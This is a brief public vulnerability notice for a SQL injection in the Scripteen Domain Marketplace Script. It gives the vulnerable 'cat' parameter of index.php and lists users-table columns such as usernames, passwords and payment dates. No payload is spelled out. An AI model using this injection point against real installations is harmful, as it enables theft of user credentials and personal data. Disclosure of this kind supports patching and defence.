SQL Injection - Domain Marketplace Script ( Web Application Exploit )

# # # # #

# Exploit Title: Domain Marketplace Script - SQL Injection

# Google Dork: N/A

# Date: 11.03.2017

# Vendor Homepage: http://scripteen.com/

# Software: http://scripteen.com/item/scripts/scripteen-domain-marketplace-script.html

# Demo: http://dwm.domainauctionsscript.com/

# Version: N/A

# Tested on: Win7 x64, Kali Linux x64

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Mail: ihsan[@]ihsan[.]net

# # # # #

# SQL Injection/Exploit :

# http://localhost/[PATH]/index.php?page=websites_for_sale&cat=[SQL]

# users :userId

# users :data

# users :payment_date

# users :expiration_date

# users :username

# users :password

# users :nume

# users :adresa

# Etc..

# # # # #